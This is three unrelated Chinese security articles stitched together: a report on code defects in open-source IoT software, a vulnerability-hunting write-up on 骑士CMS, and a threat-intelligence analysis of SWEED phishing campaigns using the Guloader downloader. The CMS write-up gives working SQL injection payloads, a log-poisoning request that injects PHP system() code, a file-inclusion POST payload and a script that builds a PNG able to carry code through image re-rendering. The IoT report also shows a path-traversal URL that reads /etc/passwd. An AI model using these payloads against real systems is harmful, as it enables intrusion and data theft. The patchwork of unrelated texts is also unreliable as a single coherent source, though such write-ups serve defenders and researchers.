综合考虑用户数量、受关注程度以及更新频率等情况，选取了20款具有代表性的物联网类开源软件。表1列出了本次被测的开源物联网软件项目的概况，项目按照Github上Star的数量降序排列。本次检测的软件涵盖了C、C++、Java、JavaScript（JS）等编程语言。这些开源软件项目都是国际知名的，拥有广泛用户的软件项目，其中不乏由知名软件公司开发的软件。由于这些软件大多具有巨大的用户群体，软件中的安全缺陷很可能会造成严重的后果。
表1 被测开源软件项目概览
项目名称 | 版本号 | 主要编程语言 | 功能说明 | 代码行数 | Github star数
---|---|---|---|---|---
Serverless | master | JS | 使用无服务器架构构建Web、移动、物联网应用的框架 | 20,150 | 26,124
Node-RED | master | JS | 用于连接物联网的可视化工具 | 100,840 | 6,447
JerryScript | V1.0 | C | 用于物联网的超轻量级JavaScript引擎 | 97,559 | 3,223
ArduinoJson | V5.13.4 | C++ | 物联网的JSON库 | 27,583 | 3,078
POCO | V1.9.0 | C++ | 支持桌面、服务器、移动、物联网、嵌入式系统上的联网应用开发的跨平台的C++函数库 | 526,721 |
2,929
CrateDB | master | Java | 一个分布式SQL数据库，可以轻松实时存储和分析大量机器数据 | 314,984 | 2,131
ThingsBoard | master | Java | 一个用于数据收集、处理、可视化和设备管理的物联网平台 | 112,704 | 1,987
RIOT | 2018.10版 | C | 支持常见物联网设备的实时、多线程的操作系统 | 1,341,539 | 1,979
Blynk Library | V0.5.4 | C++ |
嵌入式硬件的Blynk库。Blynk是一个物联网应用平台，旨在简化物联网的移动或者Web应用构建。 | 17,206 | 1,831
IoT.js | master | JS | 使用JavaScript的物联网平台 | 42,910 | 1,826
OpenThread | V2.0.0 | C++ | OpenThread是Thread网络协议的开源实现 | 661,696 | 1,713
Blynk Server | V0.39.6 | Java | 基于Netty的Java
Server，主要用于在Blynk移动应用和嵌入式设备之间传递消息。 | 75,555 | 1,097
Kaa | master | Java | 开源中间件平台，用于构建、管理和集成联网的产品和设备 | 461,511 | 984
MySensors | V2.3.0 | C++ | 专注于提供智能居家和物联网的DIY服务 | 17,788 | 871
SmartHome | master | Java | 智能家居的灵活框架 | 801,053 | 745
OpenIoT | develop | Java | 物联网中间件的基础架构，用于支撑联网设备的数据采集、流量清洗、事件处理算法的灵活配置和部署 |
269,387 | 369
Freedomotic | V5.6.0 | Java | 开放物联网框架 | 259,708 | 258
Link Kit SDK | V2.3.0 | C | 阿里云物联网套件 | 56,384 | 257
SiteWhere | master | Java | 一个面向物联网的工业级开源应用支持平台 | 216,796 | 235
IotXmpp | master | Java | 基于XMPP的安卓客户端，实现与物联网节点的交互 | 130,607 | 118
## 3、测试内容
### 3.1、安全缺陷种类
本次测试涵盖各类常见安全缺陷。根据缺陷形成的原因、被利用的可能性、造成的危害程度和解决的难度等因素进行综合考虑，可以将常见的安全缺陷分为八类：
1、输入验证
输入验证与表示问题通常是由特殊字符、编码和数字表示所引起的，这类问题的发生是由于对输入的信任所造成的。这些问题包括：缓冲区溢出、跨站脚本、SQL注入、命令注入等。
2、API使用
API是调用者与被调用者之间的一个约定，大多数的API误用是由于调用者没有理解约定的目的所造成的。当使用API不当时，也会引发安全问题。
3、安全特性
该类别主要包含认证、访问控制、机密性、密码使用和特权管理等方面的缺陷。
4、并行计算
线程和进程之间的交互及执行任务的时间顺序往往由共享的状态决定，如信号量、变量、文件系统等。与分布式计算相关的缺陷包括竞态条件、阻塞误用等。
5、错误和异常处理
这类缺陷与错误和异常处理有关，最常见的一种缺陷是没有恰当的处理错误（或者没有处理错误）从而导致程序运行意外终止，另一种缺陷是产生的错误给潜在的攻击者提供了过多信息。
6、代码质量
低劣的代码质量会导致不可预测的行为。对于攻击者而言，低劣的代码使他们可以以意想不到的方式威胁系统。常见的该类别缺陷包括死代码、空指针解引用、资源泄漏等。
7、封装和隐藏
合理的封装意味着区分校验过和未经检验的数据，区分不同用户的数据，或区分用户能看到和不能看到的数据等。常见的缺陷包括隐藏域、信息泄漏、跨站请求伪造等。
8、代码运行环境
该类缺陷是源代码之外的问题，例如运行环境配置问题、敏感信息管理问题等，它们对产品的安全仍然是至关重要的。
前七类缺陷与源代码中的安全缺陷相关，它们可以成为恶意攻击的目标，一旦被利用会造成信息泄露、权限提升、命令执行等严重后果。最后一类缺陷描述实际代码之外的安全问题，它们容易造成软件的运行异常、数据丢失等严重问题。
### 3.2、安全缺陷级别
我们将源代码的安全问题分为三种级别：高危（High）、中等（Medium）和低（Low）。衡量级别的标准包括两个维度，置信程度（confidence）和严重程度（severity）。置信程度是指发现的问题是否准确的可能性，比如将每个strcpy()调用都标记成缓冲区溢出缺陷的可信程度很低。严重程度是指假设测试技术真实可信的情况下检出问题的严重性，比如缓冲区溢出（buffer
overflow）通常是比空指针引用（null pointer
dereference）更严重的安全问题。将这两个因素综合起来可以准确的为安全问题划分级别，如图1所示。
图1 缺陷级别与严重程度、置信程度的关系
## 4、开源物联网软件项目的安全缺陷情况
本部分首先展示从被测项目中检出安全缺陷的数量，由此对被测项目的安全性进行大致的评估。然后进一步讨论被测项目中安全缺陷的分布情况，了解项目中出现较多的、容易被忽略的安全问题。
### 4.1、安全缺陷情况概览
本部分展示被测项目查出缺陷的数量，由此对被测项目的安全性进行大致的评估。图2分别展示了项目不同级别缺陷的数量，并按照高危缺陷数量对项目进行了排序，图中用蓝色折线图展示了每千行代码包含缺陷数，红色折线图为项目在Github上的star的数量。
图2 开源软件项目缺陷情况
从中可以看出，本次选取的物联网类开源软件都存在不同程度的安全问题。本次检测从这些项目中总计发现高危缺陷667个，中危缺陷3702个。缺陷数量排名靠前的项目处于极易被攻击者利用的状态，实际使用者需通过安装补丁或者更新版本的方式进行修复和升级。
在所有被测软件中，物联网应用平台Blynk的函数库Blynk
Library的安全性最高（无高危缺陷，有3个中危缺陷）。物联网应用框架Serverless、物联网开发JS平台IoT.js、物联网实时操作系统RIOT的缺陷总数较少，总体安全性较高。
物联网中间件基础架构平台OpenIoT在本次被测的20款软件里高危缺陷居多，包含370个高危缺陷和669个中危缺陷。其中，包括556个输入验证类缺陷，其中283个缺陷为跨站脚本问题（高危），344处资源未释放问题（中危），提示该项目应加强对安全缺陷的管理，特别是加强对来自信任边界之外的用户输入的过滤和验证；同时，应进一步提升代码质量，避免攻击者利用资源泄露的问题发起拒绝服务攻击。
中高危缺陷总数最多的是联网应用开发函数库POCO，包含1个高危缺陷，和1380个中危缺陷。其中，项目被检测出748处“将比特位数不同的操作数进行位运算”、300处“使用了不安全的内存拷贝函数”、234处“在对字符类型比较时未明确其符号属性”问题。这些问题会降低程序的稳定性和可移植性，可能会导致程序发生非预期的行为，同时也增加了安全隐患。建议项目的开发者提升安全意识，可在开发过程中使用代码缺陷扫描工具提升代码质量和安全性。
考虑到项目的绝对缺陷数量可能与项目大小相关，因此本报告计算了每千行缺陷数，用该数据反映缺陷在项目中的分布密度。根据该数据，物联网实时操作系统RIOT每千行缺陷数仅为0.002，平均每10万行代码出现1个以下的中高危缺陷，为本次被测软件中安全缺陷密度最低的被测项目。此外，代码安全缺陷密度较低的项目有物联网应用框架Serverless、物联网开发JS平台IoT.js，这些项目平均每一万行代码出现1个以下的中高危缺陷。安全缺陷分布密度相对较高的项目是物联网DIY工具MySensors（6.97）、物联网中间件基础架构平台OpenIoT（3.79）、物联网的JS引擎JerryScript（3.53），这些项目平均每一千行代码中就会出现数个中高危缺陷。
### 4.2、高危安全缺陷分布情况
本部分对高危缺陷的分布情况进行分析说明。图3展示了被测项目高危缺陷大类的分布情况。数据表明，绝大多数缺陷为“输入验证”类缺陷，该类缺陷主要是由于对用户输入未做充分验证导致的，易造成缓冲区溢出、路径遍历、跨站脚本及各类注入缺陷，一旦攻击者构造恶意输入，可能造成任意命令执行、任意文件读取等严重安全问题。
图3 被测项目中高危安全缺陷的分布情况（按大类划分）
图4进一步展示了被测项目中各种具体的高危安全缺陷的分布情况。为方便展示，将出现不超过10次的缺陷统一归入“其他”，主要包括越界访问（9个）、硬编码密码（6个）等问题。在被测的20个项目中，出现较多的几类具体缺陷依次是跨站脚本（488个）、路径遍历（76个）和SQL注入（53个）。由于本期被测软件主要为物联网应用开发框架，提供物联网服务器端服务，这些缺陷将极大的提升服务器被攻击者获取控制权的风险，从而导致物联网设备被恶意操控、用户个人隐私泄露的风险。
图4 被测项目中高危安全缺陷的分布情况（按具体缺陷划分）
### 4.3、安全缺陷总体分布情况
上文针对被测项目中的高危缺陷的检出情况对项目的安全状况进行了分析。通常来说，与高危缺陷相比，中危缺陷在实际运行环境中的危害相对较小，但仍不容忽视，且能在一定程度上反映出项目的代码质量、开发人员对代码安全问题的重视程度等。为了更全面的了解被测项目的安全状况，本节进一步展示包括中危缺陷在内的安全缺陷的总体分布情况。
图5展示了被测项目中安全缺陷大类的分布情况。与高危级别的缺陷分布情况相比，代码质量类、API使用类缺陷占比大幅提升。项目中存在大量的“不当的位运算”、“不当的字符比较”、“资源未释放”、“使用不安全的函数”等问题，集中反映出开发者的不良编程习惯。与输入验证类问题相比，这类问题被攻击者利用的门槛相对较高，但一旦被利用，仍然会发生拒绝服务、执行任意命令等严重风险。
图5 被测项目中的中高危安全缺陷的分布情况（按大类划分）
表2进一步展示了被测项目中的各种具体的中高危安全缺陷的分布情况。由于本次被检测出的缺陷数量较大，共出现了85种中高危缺陷，为方便阅读，仅在表中列出出现50次以上的缺陷种类。
表2 被测项目中的中高危安全缺陷的分布情况
（按具体安全缺陷种类划分）
中高危缺陷种类 | 出现频次
---|---
将比特位数不同的操作数进行位运算 | 1,076
跨站脚本 | 571
资源未释放 | 562
不安全的内存拷贝函数 | 352
不当的字符类型比较 | 256
空指针解引用 | 157
不安全的字符串处理函数 | 132
路径遍历 | 98
SQL注入 | 97
Servlet的线程安全问题 | 90
XML外部实体注入 | 90
隐私泄漏 | 63
不当的格式化字符串 | 62
硬编码密码 | 53
未经检查的循环条件 | 52
## 5、本年度项目安全横向对比
本部分将本期被测的物联网类软件项目与本年度往期被测的人工智能类、开发框架类软件从平均每千行缺陷数的角度进行了横向对比。
图6 2018年度不同领域被测软件每千行缺陷数对比
如图6所示，物联网类的软件安全缺陷密度较高，从某种程度上反应出智能设备制造商的安全意识相对薄弱，提示物联网类开发者应加强对代码安全性的重视，并切实采取手段提升软件安全性。
## 6、缺陷验证情况
对于本次检测出的安全缺陷，报告编制组随机抽取缺陷进行人工利用，发现存在能够被证实的安全漏洞，本部分以Blynk
Server路径遍历漏洞为例进行说明。Blynk Server是物联网服务器端组件，主要用于在Blynk移动应用和嵌入式设备之间传递消息。
图7 Blynk Server（版本0.39.6）路径遍历漏洞获取文件截图
图7展示了存在问题的代码片段，代码直接读取用户输入的URI（188行），未做任何验证和过滤就直接进行文件读取（210行），使得用户可通过“../”实现对服务器文件系统的路径遍历，从而可以获取任意文件内容。例如，如图8所示，通过URL“/static/js/../../../../../../../../etc/passwd”即可获得系统账户文件等敏感内容。由于Blynk
Server主要用于在移动应用与物联网设备的微控制面板之间传递消息，因此一旦攻击者获取了服务器权限，将能够截获所有来自物联网设备的消息，从而导致物联网设备所有者的个人隐私泄露问题；此外，攻击者也能够通过篡改、操控发送至物联网设备的指令，实现对物联网设备的远程操控。
该漏洞得到了Blynk
Server开发者确认，并获得了CVE确认（CVE-2018-17785），该漏洞在0.39.13及之后的版本中得到修复。建议软件的使用者尽快更新到最新版本，以避免不必要的安全风险。
图8 Blynk Server（版本0.39.6）路径遍历漏洞获取文件截图
## 7、关于本报告的说明
一、本报告仅从代码角度进行缺陷分析。本报告中统计的缺陷是指由于代码编写不规范导致的有可能被攻击者利用的安全隐患。在实际系统中，由于软件实际部署环境、安全设备等的限制，部分缺陷可能无法通过渗透测试得到验证。
二、本报告中的缺陷仅适用于表1中列出的特定软件版本。当软件版本有任何更新、修改和优化时，本报告不再适用。
三、本报告由360代码卫士团队提供部分技术支持。 | 社区文章 |
# 骑士人才系统漏洞挖掘
## SE版的前台sql注入漏洞。
此漏洞仅仅影响 骑士CMS人才系统SE版
在 `/application/index/controller/jobfairol.php` 中存在如下方法
注意此处的 keyword。存在两次 url 解码，可以绕过很多的 waf，或者预处理。
先join 里一个数据表，然后添加排序，并指定分页后，调用 column() 方法。
这个方法也就是获取 sql查询某个列的数组。
并在该断点处，执行sql语句。
查看一下我们实际执行的sql语句。
我利用 union select 来达到时间盲注的效果。
payload：
http://localhost:1234/?s=index/jobfairol/resumelist&jobfair_id=1&keyword=123%252527))/**/union/**/select(sleep(5))%252523
如果开启了报错的情况可以报错注入。
http://localhost:1234/?s=index/jobfairol/resumelist&jobfair_id=1&keyword=123%252527))/**/union/**/select(updatexml(1,concat(0x7e,(select(user())),0x7e),1))%252523
在`v1_0/controller/home/jobfairol.php` 也存在相同的方法。
## 基础版的前台RCE漏洞
基础版是通过 TP3.2.3 开发的，这个版本在应用初始化的时候，如果 APP_DEBUG
为false。
会将整个框架整合进 `Application/Runtime/``common~runtime.php`
文件中，后续的执行都在这个`74kb`，且只有一行代码的文件中。
强烈建议在个人调试的时候
将这里改成true。
在`Application/Common/Controller/BaseController.class.php` 中
有这样一个方法。
Common应用里的控制器一般都是被当作基类存在的，无法直接通过 ?m=Common 直接去访问控制器里的方法。
但是他作为其他控制器的基类，而且又是 public 方法，我们依然可以调用他。
这几行不知道看官们熟不熟悉。
其实这个漏洞，可以追溯到某实验室发的漏洞通报
> [https://mp.weixin.qq.com/s/_4IZe-> aZ_3O2PmdQrVbpdQ?st=529DABB1BC6F651382C9135EB552827AD43F0288831BAC943C5A6CE32F45F1B9F423FD767BD30EB98F9C2C6D962C1268BBC7A694FE6B1157BC89FD16D8EAEB81A3BD642BDC08DB57567E4C7B327B7134882308F36A811B338901B511ABC8BC487356659B2CD0C8417DBCFD448DE79A0E6611FC7DAA7F5F806AED95180ADE0D979653805D9BE2818C36432C242C346C258EB569D4B4EC38ACD08C5E03A09D4FAA34F60913522071EB3BEEED7BDB667730296BE92C3B10E13BA48209051A216A1E&vid=1688851206182100&cst=53928845F30E881CE4702F30E4E78E655B605169B1BF71E0E963E97B3C21D4A26131701E074B2422DE3B7150338D0234&deviceid=de960c8d-258f-4e7d-a333-c1e3dc351b70&version=3.1.8.3015&platform=win](https://mp.weixin.qq.com/s/_4IZe-> aZ_3O2PmdQrVbpdQ?st=529DABB1BC6F651382C9135EB552827AD43F0288831BAC943C5A6CE32F45F1B9F423FD767BD30EB98F9C2C6D962C1268BBC7A694FE6B1157BC89FD16D8EAEB81A3BD642BDC08DB57567E4C7B327B7134882308F36A811B338901B511ABC8BC487356659B2CD0C8417DBCFD448DE79A0E6611FC7DAA7F5F806AED95180ADE0D979653805D9BE2818C36432C242C346C258EB569D4B4EC38ACD08C5E03A09D4FAA34F60913522071EB3BEEED7BDB667730296BE92C3B10E13BA48209051A216A1E&vid=1688851206182100&cst=53928845F30E881CE4702F30E4E78E655B605169B1BF71E0E963E97B3C21D4A26131701E074B2422DE3B7150338D0234&deviceid=de960c8d-258f-4e7d-a333-c1e3dc351b70&version=3.1.8.3015&platform=win)
这是他们给出的漏洞样例。
其实大同小异，只不过fetch 只是获取输出页面的内容，但并不会显示出来。所以在这个cms中，如果可以rce，那也只是一个无回显的RCE。
简单概括他们的分析，就是将payload写进日志里，然后利用变量覆盖，造成任意文件包含，包含日志文件。
1. 先发送恶意数据包
GET /index.php?m=--><?=system('calc');?><-- HTTP/1.1
Host: localhost:1234
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
在 /data/Runtime/Logs/Common/ 中写入日志文件
1. 然后构造payload去包含日志文件。
url:http://localhost:1234/index.php?m=home&c=AdvPersonal&a=assign_resume_tpl
post:
variable[_filename]=./data/Runtime/Logs/Common/21_09_22.log&tpl=adv_index
一开始并没有想到这个漏洞，我跟进了fetch 方法。
这里如果文件存在会直接返回，这显然是不合理的，在我们可以控制文件名的情况下。
这里的 loadTemplate 方法其实就是将文件中的内容获取出来然后写入模板缓存文件中，并返回缓存文件名。
然后变量覆盖，文件包含。
在我没有想到变量覆盖 `_filename` 的时候
，我的思路很单纯，分析到这里想必都明白了。就是上传一个恶意文件，获取文件名赋给$tpl，最后tp解析模板后自动包含。
但后续也是遇到一些情况，比如前台的图片上传时会被二次渲染，恶意代码被和谐。又或者图片文件中存在一些可以被解析的标签，最后替换为不规则的php语法。
不过后来我用 png图片的二次渲染绕过了这个问题。
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'./1.png');
?>
当在修改简历处上传文件时，后面存在一个ajax请求，获取我们的图片，这样就暴露了图片的存储位置。
下面是缓存的图片文件。
这里的变量覆盖，可能因为先前某cms的前台rce的原因，我还是想找模板文件中存在的问题，但在这里，显然是走远了。
## 写在后面
tp3.2.x 的渲染模板处暴露出的两个显然存在的问题，一个变量覆盖造成的任意文件包含。需要有
作为前提。
另一个 is_file 判断后直接返回文件名，不考虑是否是模板文件。仅仅需要如下语句
配合文件上传就可以完成攻击。
还有一个就是 骑士cms的开发问题了，作为一个不想被直接调用的基类控制器，却存在一个任意模块的控制器都可访问的方法…… | 社区文章 |
**作者：启明星辰ADLab
公众号：<https://mp.weixin.qq.com/s/bXPmfp316WC6R0yHULU-jA>**
### 一 概述
近期，启明星辰ADLab接连捕获到大量针对全球制造、运输、能源等行业及部分医疗机构发起的鱼叉式钓鱼邮件定向攻击。从邮件的分析结果来看，受害者大多遍布于美国、加拿大、德国、中国、英国、法国、西班牙等国家和地区。攻击者以“装船通知单”、“装箱交货价单”、“紧急运输文件”等主题邮件作为诱饵向攻击目标植入信息窃密木马（Agent
Tesla、Formbook、Lokibot）和远程控制程序（NanoCore、Remcos）。我们通过对收集到的攻击工具进行去重并做分析，最终发现此次攻击活动关联着1362个攻击样本。通过同源分析，我们发现这批样本中有近80%是同一款恶意软件，对其分析判定后确定这正是近期被大范围传播且极为活跃的新型下载者病毒Guloader。Guloader是一款免杀能力很强的病毒，近期全球各大厂商均对其进行了预警，其具备沙盒逃逸、代码混淆、反调试、C&C/URL加密和有效载荷加密等多种能力。由于Guloader具有较强的免杀能力和对抗机制，因而受到大量黑客的青睐。本批攻击中，攻击者就广泛地利用Guloader下载者病毒结合云服务来分发窃密工具或远程控制程序（RAT）。
我们通过溯源分析确定此次攻击活动来自尼日利亚，并且关联出了大批量的黑恶意域名（攻击者使用境外的Duck
DNS注册动态域名）和IP地址。通过对攻击者使用的网络基础设施，追踪分析发现此次攻击活动最早可追溯到2020年1月。进一步分析我们发现，这批攻击者的攻击动机、攻击目标、作业风格与SWEED黑客组织极为相似，他们还有着相似的攻击习惯，并使用相同窃密木马程序，以及同样风格的C&C地址。因此，我们推断这批攻击背后应该就是SWEED黑客组织。SWEED是一个来自尼日利亚的以获取经济利益为主要目的的黑客组织，其最早出现于2017年，常利用公开披露的漏洞，借助鱼叉式钓鱼邮件来传播木马程序，如Agent
Tesla、Formbook和Lokibot等。该组织曾在早期被披露的攻击活动中，通过窃取被攻击目标用户和企业敏感信息实施中间人攻击，诱使财务人员将款项转至指定账户，是一个典型的网络诈骗团伙。
启明星辰ADLab对本次攻击活动的攻击过程和攻击手法进行了详细地分析和溯源，并对其所使用的新型恶意软件和C&C基础设施进行了深入研究。提醒各大企业单位做好安全防范工作，谨防后续可能出现的攻击。
### 二 攻击目标和受害者分布
截止到2020年6月，我们发现攻击者的重点目标为从事对外贸易的中小型企业，其目的是通过植入特定的后门以实现对目标计算机进行信息收集和长期监控，并为接下来的横向移动攻击提供基础。
#### 2.1 地域分布
通过对已知的SWEED组织攻击行动中受害者的国家和地区分布情况进行统计（如图2-1），我们可以看到该组织发起的攻击活动覆盖了很多国家和地区，由此猜测，攻击者在攻击目标地理位置的选择上并没有特定的指向性。
图2-1 受害者国家地域分布图
#### 2.2 行业分布
统计结果显示（如图2-2），此次SWEED组织在面向全球的攻击中，运输、制造业和能源行业依然是其重点针对的目标对象。
图2-2 受害者行业分布图
### 三 攻击事件分析
本小节总结了该组织在近些年的攻击活动时间点、此次行动中使用的攻击手法以及攻击流程。
#### 3.1 攻击活动时间线
为了对黑客组织在此次攻击活动使用的策略和技术进行全面的了解，启明星辰ADLab研究人员将目前关联到的该组织近几年的主要活动做了梳理和总结，并绘制了“SWEED组织”活动时间轴（如图3-1）。从时间轴可以看出，该组织的大部分活动都具有一致性——借助带有恶意附件的鱼叉式钓鱼邮件分发远控木马程序（RAT），并且行动中使用的木马程序主要是以Agent
Tesla为主。
图3-1 SWEED组织相关活动时间轴
#### 3.2 攻击手法和特点
SWEED组织在初始环节主要以投递钓鱼邮件开始展开攻击，攻击者在前期对目标用户进行深入调研，选取与目标用户所属行业或领域相关的内容来构造邮件和恶意文档。随后将精心制作的主题如”采购订单”、“紧急运输文件”、”装船通知单“等文档添加在邮件附件中发送给目标用户，诱使其下载附件，目标用户一旦打开带有漏洞的恶意文档，触发漏洞的恶意代码就将会在后台静默下载和执行恶意软件，从而窃取目标用户的敏感信息并对其主机进行控制。
##### 3.2.1 鱼叉邮件
启明星辰ADLab通过对SWEED组织年初至今的攻击行动进行监测和关联分析后，梳理出几十起定向目标的攻击钓鱼邮件。部分相关邮件信息见表3-1。
表3-1 部分钓鱼邮件案例信息
通过分析这些邮箱发件人所属公司的注册信息以及其官网信息，我们发现多数公司网站均为合法网站，由此猜测攻击者使用的这些邮箱，有可能来自被入侵和盗用的合法实体或个人。虽然收件人的信息很多无法看到，但是从邮件的主题以及正文内容不难看出，攻击者企图利用运输货物清单、装箱交货价单、物品到货通知单、海上新订单等邮件向运输商、制造商及其合作商进行有针对性的攻击活动。下面我们从以上邮件中列举一个做简单分析。
在此案例中，攻击者试图使用“VSL: MV FORTUNE TRADER”主题冒充“MV Fortune Trader”。船舶FORTUNE
TRADER是一艘建于1994年的集装箱船，该船舶的注册国家为韩国。
图3-2 船舶FORTUNE TRADER相关信息
邮件正文与主题保持一致，显示该邮件是来自超捷国际物流公司。该公司总部位于台湾台北，主要提供海运、空运和中港运输等业务。
图3-3 超捷国际物流公司主页
邮件正文如图3-4：
图3-4 邮件正文信息
对邮件信息进行解析后如图 3-5所示，发件人的邮件地址是印度尼西亚一家名为“PT.INTI PERSADA
NUSANTARA”电机设备公司的合法域，而该邮件实际上是由托管在us10.rumahweb.com上的Roundcube
Web邮件服务器发送。这里收件人地址之所以显示为“Undisclosed-Recipient”（导致无法看到收件人信息），猜测攻击者是在使用Roundcube
Webmail/1.3.8软件群发邮件时，为了不让收件人看到其他接收邮件人的地址，故将此处设置为Undisclosed-Recipient。
图3-5 部分邮件头部信息
##### 3.2.2 诱饵文件
通过对该批截获的邮件进行分析所得，攻击者使用的攻击载荷类型总共有四种。下面将列举典型的攻击载荷及其所对应的钓鱼邮件。
(1) 携带漏洞文档
图3-6是一封攻击者冒名航空货运公司发送给客户的预约请求回复邮件，附件伪装成船舶详细信息表单。该文档使用微软Office经典漏洞CVE-2017-11882，当用户打开恶意文档时，嵌入到文档中的恶意程序则会自动加载。该漏洞的特点是在整个过程中用户完全无感知，且在断网的情况下仍然可达到有效攻击，所以成为各大APT组织必用漏洞利用库之一。
图3-6 携带漏洞文档案例1—邮件截图
（2）携带GZ格式的压缩文档
图3-7是攻击者发送给总部位于比利时的一家多元化的工业制造商的邮件，该邮件使用热门的COVID-19为主题，并通过正文描述谎称恶意附件GZ压缩文档中包含采购单，诱使受害者下载。
图3-7 携带GZ文档案例2—邮件截图
附件里面是伪装成bat文件的Guloader下载器。
图3-8 GZ压缩包里的文件
（3）携带ISO格式的文档
由图
3-9可见，攻击者将邮件附件伪装成系统镜像ISO文件（使用ISO文件可用于绕过垃圾邮件过滤器），将其命名为“COVID-19解决方案宣布”诱骗用户点击。嵌入在ISO恶意附件中的可执行文件为Guloader下载器。
图3-9 ISO压缩包里的文件
（4）携带html格式的文件
图3-10是攻击者冒充DHL Express国际快递公司发送给德国一家光学组件制造商的钓鱼邮件，邮件附件被命名为装船通知单并以html形式诱骗受害者点击。
图3-10 携带html文件案例3—邮件截图
##### 3.2.3 恶意软件托管位置
在攻击活动中，攻击者经常利用远程配置来控制恶意软件，而安全人员通过研究分析不同的恶意软件配置（例如主机地理位置和DNS信息），可以深入的了解和追踪攻击者使用的基础设施。我们在研究过程中将收集到的大量样本数据进行提取和整合，发现SWEED组织此次实施攻击行动所使用的恶意软件配置，主要应用了Guloader下载器配置选项中的利用云服务分发恶意软件的功能。攻击者之所以使用正规的云存储平台来托管恶意软件，是因为这些云平台多数是受信任的且有助于绕过商业威胁检测产品。虽然Google
Drive等云平台通常也会执行防病毒检测，但如果有效载荷是被加密后再存储，就可以躲过此类限制，并能有效的阻止安全人员对黑客组织的基础设施进行追踪。图3-11为恶意载荷样本托管平台的使用占比率。根据图中显示的数值可得，Google
Drive为恶意软件主要使用的托管平台。除此之外，还有部分恶意软件会托管在已被攻陷的合法网站上。
图3-11有效载荷托管平台的使用率
除了Google Drive和OneDrive，下面我们列举出几个攻击者使用的其他云托管平台。
files.fm是国外一家提供文件云存储平台的信息技术公司。图3-12是保存在该平台的加密的恶意文件。
图3-12 云托管平台例1
sendspace是一家免费文件托管平台。图3-13是攻击者上传到该平台进行托管的恶意软件。
图 3-13 云托管平台例2
dmca.gripe是一个免费的文件托管平台，其主页如图3-14所示。
图3-14 云托管平台例3
#### 3.3 攻击流程
我们对这批攻击活动进行归纳分析后发现绝大部分攻击具有相同的攻击流程，其攻击的流程如图3-15。
3-15 攻击流程图
攻击者伪装成物流或船舶等公司人员，向目标企业投递携带附件的钓鱼邮件，附件类型包括：包含漏洞的恶意文档、GZ格式的压缩包、ISO文件和HTML文件。在多数情况下，这些附件起初都会包含或下载Guloader下载器（其他情况下为远控木马）。Guloader开始执行时，先对储存在代码部分的shellcode进行解密，再将解密后的shellcode注入到RegAsm.exe系统文件中；接着RegAsm.exe中的shellcode再从指定的云平台地址下载加密的payload，并在内存中解密执行payload（远控木马），最后通过C2对目标主机进行信息窃取和远程控制。
此次攻击活动中使用到的窃密和远控木马包括：Agent
Tesla（是一款知名的商业窃取木马，主要用于浏览器、邮件客户端、FTP工具、下载器等用户账号密码和WiFi凭证的窃取。）；Formbook（是一款信息窃取木马，其主要以窃取用户电脑机密信息为主，包括键盘记录、剪贴板记录、cookie会话与本地密码等等。）；Lokibot（一款窃密木马，其通过从多种流行的网络浏览器、FTP、电子邮箱客户端、以及PuTTY等IT管理工具中获取凭证，来窃取用户的密码和加密货币钱包）；NanoCore（是一款.net编写的远控软件，其具有键盘监控、实时视频操作、语音、命令行控制等完全控制远程主机的功能。）；Remcos（一款远控软件，包括下载并执行命令、键盘记录、屏幕记录以及使用摄像头和麦克风进行录音录像等功能。）。
鉴于我们分析的这些木马在功能和技术上与旧版类似，并没有发现太多的变化点，所以在此我们仅对其主要功能做了简单的描述，本文后续便不再过多的详细描述其具体的技术细节，如有需要大家可查看文末的参考文献。在下个章节，我们主要对SWEED组织新引入的Guloader恶意代码进行完整详细地剖析。
### 四 技术分析
正如前文所述，我们目前收集到的电子邮件的附件主要分为四类。虽然其释放恶意软件的形式不同，但它们的主要功能行为都基本一致。在这里，我们选取一个典型案例进行详细分析。
#### 4.1 钓鱼邮件
图4-1为攻击者针对美国一家防滑产品制造商进行攻击的钓鱼邮件，此邮件于美国山地时区时间2020年4月29日（周三）02:31被发送到该公司。邮件标题为“Purchase
Order /APO-074787648”，正文描述为“请查看清单和确认商品库存”，并附有同名恶意文档“Purchase Order
/APO-074787648”。
图4-1 钓鱼邮件内容
#### 4.2 恶意文档
样本“Purchase Order
/APO-074787648.ppsx”利用了沙虫漏洞CVE-2014-4114的补丁（MS14-060）绕过漏洞CVE-2014-6352。沙虫漏洞是Windows
OLE任意代码执行漏洞，该漏洞出现在Microsoft
Windows服务器上的OLE包管理器上。攻击者通过利用该漏洞在OLE打包文件（packer.dll）中下载并执行类似的INF文件，来达到执行任意命令的目的。虽然微软为沙虫漏洞发布补丁（MS14-60），但攻击者还可通过构造特定的CLSID和OLE
Verb来绕过MS14-160补丁的限制（CVE-2014-6352）。下面我们以本次行动中使用的恶意文档为例，对该漏洞的实现原理做简单的分析。
图4-2为此案例中使用的ppsx漏洞攻击文档内容。 
图4-2 ppsx漏洞文档内容
我们解压PPXS文档可以看到，在“Purchase Order APO-074787648.ppsx\ppt\slides
\slides.xml”中，指定了嵌入的对象id=rld3。 
图4-3 “slides.xml”文件内容
在“Purchase Order
APO-074787648\ppt\slides_rels\slide1.xml.rels”中指定了rld3对应“ppt\embeddings\”目录下的oleObject1.bin文件。
图4-4 “slide1.xml.rels”文件内容
“Purchase Order
APO-074787648.ppsx\ppt\embeddings\”目录下的“oleObject1.bin”文件内嵌一个OLE
Package对象，嵌入文件为PE可执行程序。
图4-5 “oleObject1.bin”文件内容
